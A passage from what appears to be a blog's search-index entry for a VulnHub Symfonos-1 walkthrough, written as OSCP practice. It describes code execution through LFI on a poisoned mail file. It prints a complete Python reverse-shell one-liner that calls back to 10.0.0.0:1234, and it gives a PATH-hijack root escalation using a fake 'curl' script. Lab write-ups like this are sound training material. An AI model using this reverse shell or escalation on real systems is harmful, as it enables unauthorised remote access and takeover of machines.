/var/mail/ValidUserHere . I inserted the PHP code with the help of which we can perform arbitrary code execution.\nWhen we access that email through LFI from WordPress. We can provide a cmd query and the action will be performed. So I provided the python reverse-shell script, which provided me with a shell. My reverse shell cmd is below.\npython -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;10.0.0.0\u0026#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Now I started looking around the file system if I can find some passwords or binary. I started from the /opt folder and boom found a red setuid binary.\nUpon running this binary, it looks like it gives us the GET response. So I looked at the binary and found that it runs curl but the absolute path is not defined for curl. We can exploit this to gain shell.\nFor any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. Now I updated a new path /tmp which is writable by the helios user.\nexport PATH=/tmp:$PATH So after updating the path, we also need to create a fake application curl, which when run by root will provide us with shell.For this go to /tmp and type following.\necho \u0026#34;/bin/sh\u0026#34; \u0026gt; curl chmod 777 curl What this does is, when we run statuscheck, it wants to run curl. So it looks in the first path which is /tmp and runs the curl from /tmp. As this statuscheck is run by high privilege, it will run the shell inside that task, which will provide us root access.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/symfonos-1-vulnhub-walkthrough/","summary":"Symfonos Box from VulnHub\nThis box is from the TJ NULL list for OSCP preparation. Gaining the initial vector was easy through SMB. The attack followed the following steps:\nEnumeration through SMB \u0026ndash; anonymous login Gaining access to user\u0026rsquo;s account through SMB Enumerating the WordPress site Found the \u0026ldquo;Upload Directory has listing enabled\u0026rdquo;. Found Siteeditor vulnerabilty for LFI Gained initial access PATH exploit for privelege escalation Let\u0026rsquo;s first start with the Nmap scan.","title":"Symfonos-1 VulnHUB Walkthrough"}]